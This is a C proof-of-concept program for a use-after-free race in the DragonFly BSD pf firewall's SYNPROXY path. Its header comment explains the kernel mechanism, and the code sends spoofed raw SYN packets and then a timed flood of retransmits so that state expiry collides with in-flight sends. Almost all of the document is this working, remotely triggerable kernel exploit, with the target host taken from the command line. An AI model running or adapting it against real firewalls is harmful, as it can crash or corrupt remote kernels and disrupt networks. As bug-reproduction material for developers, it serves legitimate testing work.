/*
 * DF-3264 stress trigger — pf_state use-after-free race.
 *
 * Mechanism (sys/net/pf/pf.c):
 *   Packet path holds pf_token *shared* (pf_ioctl.c pf_check_in/out).
 *   pf_test_state_tcp() SYNPROXY retransmit path calls pf_send_tcp()
 *   (pf.c:4918), which DROPS pf_token around ip_output (pf.c:2254-2276,
 *   2289-2291).  During that window the pf_purge_thread can acquire the
 *   token exclusively, see that this just-expired state's
 *   pf_state_expires() <= time_second, and unlink+free it
 *   (pf_unlink_state/pf_free_state).  When ip_output returns, the netisr
 *   thread continues to use (*state): lockmgr on freed lk (pf.c:5066-67),
 *   seq bookkeeping writes (pf.c:4974-84), pfsync_update_state (5063),
 *   pf_test counters (6712+) -> use-after-free.
 *
 * This program:
 *   Phase 1: send N SYNs (one per spoofed source port) to a
 *            `synproxy state` target -> N states in PF_TCPS_PROXY_SRC,
 *            all with expire = T0 and timeout = PFTM_TCP_FIRST_PACKET (120s).
 *   Phase 2: at T0+117s, retransmit all N SYNs at high rate for ~12s so
 *            that the purge sweeps at T0+120 collide with in-flight
 *            pf_send_tcp() windows.
 *
 * Requires root only to use a raw socket (emulates an external attacker;
 * in production the same packets arrive from the network).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NSTATES		512
#define WAIT_SECS	117	/* state expires at +120s (PFTM_TCP_FIRST_PACKET) */
#define FLOOD_SECS	12

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned long s = 0;
	while (n > 1) { s += *p++; n -= 2; }
	if (n) s += *(unsigned char *)p;
	s = (s >> 16) + (s & 0xffff);
	s += (s >> 16);
	return (unsigned short)(~s);
}

static void
send_syn(int s, in_addr_t src, in_port_t sport, in_addr_t dst, in_port_t dport,
    uint32_t seq)
{
	char buf[sizeof(struct ip) + sizeof(struct tcphdr)];
	struct ip *ip = (struct ip *)buf;
	struct tcphdr *th = (struct tcphdr *)(buf + sizeof(struct ip));
	struct sockaddr_in sin;

	memset(buf, 0, sizeof(buf));
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(*ip) >> 2;
	ip->ip_tos = 0;
	ip->ip_len = htons(sizeof(buf));	/* DFly raw ip: network order */
	ip->ip_id = 1;
	ip->ip_off = htons(0);
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_sum = 0;
	ip->ip_src.s_addr = src;
	ip->ip_dst.s_addr = dst;

	th->th_sport = sport;
	th->th_dport = dport;
	th->th_seq = htonl(seq);
	th->th_ack = 0;
	th->th_off = sizeof(*th) >> 2;
	th->th_flags = TH_SYN;
	th->th_win = htons(8192);
	th->th_sum = 0;

	{
		struct pseudo_hdr { in_addr_t s, d; uint8_t z, p; uint16_t l; } ph;
		char pbuf[sizeof(struct pseudo_hdr) + sizeof(struct tcphdr)];
		ph.s = src; ph.d = dst; ph.z = 0; ph.p = IPPROTO_TCP;
		ph.l = htons(sizeof(struct tcphdr));
		memcpy(pbuf, &ph, sizeof(ph));
		memcpy(pbuf + sizeof(ph), th, sizeof(*th));
		th->th_sum = cksum((unsigned short *)pbuf, sizeof(pbuf));
	}
	ip->ip_sum = cksum((unsigned short *)buf, sizeof(buf));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = dst;
	if (sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&sin,
	    sizeof(sin)) < 0)
		perror("sendto");
}

int
main(int argc, char **argv)
{
	int s, i, round = 0;
	in_addr_t dst = inet_addr(argc > 1 ? argv[1] : "127.0.0.2");
	in_port_t dport = htons(argc > 2 ? atoi(argv[2]) : 8080);

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket(SOCK_RAW)"); exit(1); }
	{
		int one = 1;
		setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
	}

	for (;;) {
		round++;
		printf("=== round %d: creating %d synproxy states to %s:%u\n",
		    round, NSTATES, inet_ntoa(*(struct in_addr *)&dst),
		    ntohs(dport));
		fflush(stdout);
		for (i = 0; i < NSTATES; i++)
			send_syn(s, htonl(0x7f000000 | (0x0100 + round)),	/* 127.1.x */
			    htons(20000 + i), dst, dport, 0x1000 + i);

		printf("sleeping %d s (state expiry at +120 s)\n", WAIT_SECS);
		fflush(stdout);
		sleep(WAIT_SECS);

		printf("flooding %d retransmit SYNs for %d s...\n",
		    NSTATES, FLOOD_SECS);
		fflush(stdout);
		{
			struct timeval tv0, tv1;
			long usecs;
			unsigned long n = 0;
			gettimeofday(&tv0, NULL);
			do {
				for (i = 0; i < NSTATES; i++)
					send_syn(s,
					    htonl(0x7f000000 | (0x0100 + round)),
					    htons(20000 + i), dst, dport,
					    0x1000 + i);
				n += NSTATES;
				gettimeofday(&tv1, NULL);
				usecs = (tv1.tv_sec - tv0.tv_sec) * 1000000 +
				    tv1.tv_usec - tv0.tv_usec;
			} while (usecs < (long)FLOOD_SECS * 1000000);
			printf("sent %lu retransmits in round %d\n", n, round);
		}
		fflush(stdout);
		sleep(2);	/* let any corruption materialize */
	}
	/* NOTREACHED */
}
